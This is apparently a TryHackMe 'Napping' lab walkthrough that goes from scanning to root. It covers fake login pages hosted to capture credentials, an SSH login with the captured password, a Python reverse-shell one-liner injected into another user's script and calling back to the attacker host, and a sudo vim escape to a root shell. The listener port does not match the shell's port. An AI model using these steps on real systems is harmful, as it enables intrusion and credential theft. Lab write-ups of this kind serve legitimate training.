> For the complete documentation index, see [llms.txt](https://jeffgthompsons-organization.gitbook.io/red-team/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://jeffgthompsons-organization.gitbook.io/red-team/walkthroughs/tryhackme/napping.md). # Napping **Room Link:** ### **Scans** Initial scan **Kali** ``` nmap -A $VICTIM ```
Longer scan **Kali** ``` nmap -sV -sT -O -p 1-65535 $VICTIM ```
## **TCP/80 - HTTP** #### Find Pages **Kali** ``` gobuster dir -u http://$VICTIM -w /usr/share/wordlists/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt -x php,html,txt ```
**Kali** ``` echo "hi" > test.html python2 -m SimpleHTTPServer 82 ```
**red.htm** ``` ``` **redir.html** ``` Login

Admin Login

Please fill in your credentials to login.


``` **Kali** ``` wireshark ``` For victim to download our red.html file **Kali** ``` python2 -m SimpleHTTPServer 82 ``` To host our fake login page **Kali** ``` python2 -m SimpleHTTPServer 8000 ```
**Wireshark filter** ``` tcp.port==8000 && ip.dst == $VICTIM ```
## **TCP/22 - SSH** **Kali** ``` ssh daniel@$VICTIM Password: C@ughtm3napping123 ``` ## Lateral Movement there is another user on this box. In their home directory they have a python script that looks like it checks the website. I added the following to the code to get a reverse shell.
**query.py** ``` import os,pty,socket;s=socket.socket();s.connect(("$KALI",1337));[os.dup2(s.fileno(),f)for f in(0,1,2)];pty.spawn("sh") ```
**Kali** ``` nc -lvnp 1338 ```
**Full TTY** ``` script -qc /bin/bash /dev/null ctrl + Z stty raw -echo;fg ``` ## **Privilege Escalation** **Exploit:** **Victim(adrian)** ``` sudo -l ```
**Victim(adrian)** ``` sudo vim -c ':!/bin/sh' id ```